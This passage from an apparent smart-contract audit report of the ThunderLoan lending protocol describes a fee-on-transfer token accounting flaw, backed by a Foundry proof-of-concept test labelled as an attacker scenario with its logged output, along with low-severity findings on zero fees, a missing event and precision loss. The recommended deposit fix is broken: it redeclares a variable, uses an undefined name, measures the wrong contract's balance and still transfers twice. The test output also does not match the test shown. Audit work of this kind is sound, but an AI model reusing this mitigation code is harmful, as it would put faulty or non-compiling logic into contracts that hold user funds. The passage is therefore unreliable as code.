        _burn(account, amount);  
    }  
  
    function _transfer(address from, address to, uint256 amount) internal  
        ↪ override {
```



```
        _burn(from, amount/100);
        super._transfer(from, to, amount - (amount/100));
    }
}
```

updated BaseTest.t.sol file

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
+ import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
import { ERC1967Proxy } from
↳ "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
-   ERC20Mock tokenA;
+   CustomERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
-       tokenA = new ERC20Mock();
+       tokenA = new CustomERC20Mock();

        mockPoolFactory.createPool(address(tokenA));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));
    }
}

// SPDX-License-Identifier: MIT
```

```
pragma solidity 0.8.20;

import { Test, console2 } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "../BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";

contract ThunderLoanTest is BaseTest {
    uint256 constant ALICE_AMOUNT = 1e7 * 1e18;
    uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18;
    address attacker = address(789);
    address alice = address(0x123);
    MockFlashLoanReceiver mockFlashLoanReceiver;

    function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new
↪ MockFlashLoanReceiver(address(thunderLoan));
    }

    function testAttackerGettingMoreTokens() public setAllowedToken {
        tokenA.mint(attacker, ATTACKER_AMOUNT);
        tokenA.mint(alice, ALICE_AMOUNT);
        vm.startPrank(attacker);
        tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
        /// First deposit in contract by attacker
        thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
        vm.stopPrank();
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        uint256 contractBalanceAfterAttackerDeposit =
↪ tokenA.balanceOf(address(asset));
        uint256 difference = ATTACKER_AMOUNT -
↪ contractBalanceAfterAttackerDeposit;
        uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
        console2.log(contractBalanceAfterAttackerDeposit, "Contract balance
↪ of token A after first deposit");
        console2.log(attackerAssetTokenBalance, "attacker balance of asset
↪ token");
        console2.log(difference, "difference b/w actual amount and deposited
↪ amount");
    }
}
```



```

2000000000000000000000000000000000 attacker balance of asset token
2000000000000000000000000000000000 difference b/w actual amount and deposited amount
1000000000000000000000000000000000 Actual input by alice
9900000000000000000000000000000000 Actual balance Deposited by Alice
2970000000000000000000000000000000 thunderloan balance of Token A after Alice
↪ deposit
9970089730807577268195413 Alice Asset Token Balance
19879279219760479041600000 AttackerBalance

```

Recommended Mitigation: Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

```
uint256 amountBefore = IERC20(token).balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(assetToken), amount);
uint256 amountAfter = IERC20(token).balanceOf(address(this));
uint256 amount = AmountAfter - amountBefore;
```

deposit function can be written like this.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
↪   revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
+       uint256 amountBefore = IERC20(token).balanceOf(address(this));
+       token.safeTransferFrom(msg.sender, address(assetToken), amount);
+       uint256 amountAfter = IERC20(token).balanceOf(address(this));
+       uint256 amount = AmountAfter - amountBefore;
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
↪   / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

LOW:

[L-1] getCalculatedFee can be 0

Description: getCalculatedFee can be as low as 0 Any value up to 333 for “amount” can result in 0 fee based on calculation

```
function testFuzzGetCalculatedFee() public {
```

```
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

uint256 calculatedFee = thunderLoan.getCalculatedFee(
    tokenA,
    333
);

assertEq(calculatedFee, 0);

console.log(calculatedFee);
}
```

Impact: Low as this amount is really small

Recommended Mitigation: A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] updateFlashLoanFee() missing event

Description: ThunderLoan::updateFlashLoanFee() and ThunderLoanUpgraded::updateFlashLoanFee() does not emit an event, so it is difficult to track changes in the value s_flashLoanFee off-chain.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > FEE_PRECISION) {
        revert ThunderLoan__BadNewFee();
    }
    s_flashLoanFee = newFee;
}
```

Impact: In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a FeeUpdated event, any off-chain service or user interface that needs to know the current s_flashLoanFee would have to actively query the contract state to get the current value. This is less efficient than simply listening for the FeeUpdated event, and it can lead to delays in detecting changes to the s_flashLoanFee.

The impact of this could be significant because the s_flashLoanFee is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Recommended Mitigation: Emit an event for critical parameter changes.

```
+ event FeeUpdated(uint256 indexed newFee);

function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
    s_flashLoanFee = newFee;
+   emit FeeUpdated(s_flashLoanFee);
}
```

[L-3] Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

Description: In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee() function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations. The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
    ↪ s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Impact: This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Recommended Mitigation: To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.